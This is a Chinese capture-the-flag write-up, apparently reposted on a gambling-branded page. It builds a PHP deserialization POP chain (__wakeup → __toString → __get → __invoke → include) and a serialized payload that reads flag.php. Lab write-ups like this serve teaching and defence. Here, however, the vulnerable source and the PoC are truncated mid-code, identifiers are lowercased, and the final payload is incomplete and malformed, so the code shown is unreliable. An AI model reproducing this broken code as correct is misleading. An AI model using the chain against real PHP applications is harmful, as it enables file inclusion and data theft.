记一次php反序列化漏洞中的popchain和poc构造实战-kb88凯时官网登录

来自:
时间:2024-04-11
阅读:

来自于橙子科技反序列化靶场

源代码如下:

append($this->var);
    }
}
class show{
    public $source;
    public $str;
    public function __tostring(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
class test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_get['pop'])){
    unserialize($_get['pop']);
}
?>

第一步:找链尾

我们的目的是得到flag,直接找flag这个关键词,发现:

class modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

注意echo $flag;,根据提示,flag存在于flag.php中,那我们需要做的是将这个文件include进来;
注意到include($value);显然这里的$value需要赋值为flag.php。完成这一步的前提是触发append函数。接下来的问题是,如何触发append函数。

第二步:如何触发append函数

向下寻找,发现__invoke魔术方法,这个魔术方法的触发条件是对象被当成函数一样调用,这样的话就会将var作为append的参量并触发append函数。

第三步:如何触发__invoke()函数

既然是要求对象被当成函数一样调用,纳闷我们就要找类似于_fun() _这样的东西。继续看代码,发现:

class test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在__get方法中,有return $function();我们只要将$function的值赋为类modifier的一个实例即可触发类modifier中的__invoke方法。

第四步:如何触发__get()方法

了解到__get()魔术方法是用于从不可访问的属性读取数据,简单说来就是当程序调用类里面不存在的对象的时候会调用__get()方法。还是继续看程序,最好是找有连续调用的地方,方便我们进行赋值。注意到:

class show{
    public $source;
    public $str;
    public function __tostring(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中line5中,出现了连续调用return $this->str->source;我们可以将$str的值赋为类test的一个实例,显然类test中没有source对象,这样的话就能触发类中的__get方法了。

第五步:如何触发__tostring()方法

__tostring() 把类当作字符串使用时触发,返回值需要为字符串。
还是在源代码里面开找,找和字符串相关的语句。发现:

class show{
    public $source;
    public $str;
    public function __tostring(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中__wakeup()方法中,echo $this->source;。只要我们将source的值赋为类show的一个实例即可调用类show中的__tostring()方法。

第六步(链首):如何触发__wakeup()方法

最简单的一集,使用unserialize()时触发

使用反推法整理完这六步之后,下面开始构造poc
首先对源代码进行处理,如下:


删去不必要的方法和语句。
然后进行popchain构造。

p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
?>

得到payload
?pop={s:1:"p";o:8:"modifier":1:{s:13:"modifiervar";s:8:"flag.php";}}}

返回顶部
顶部
网站地图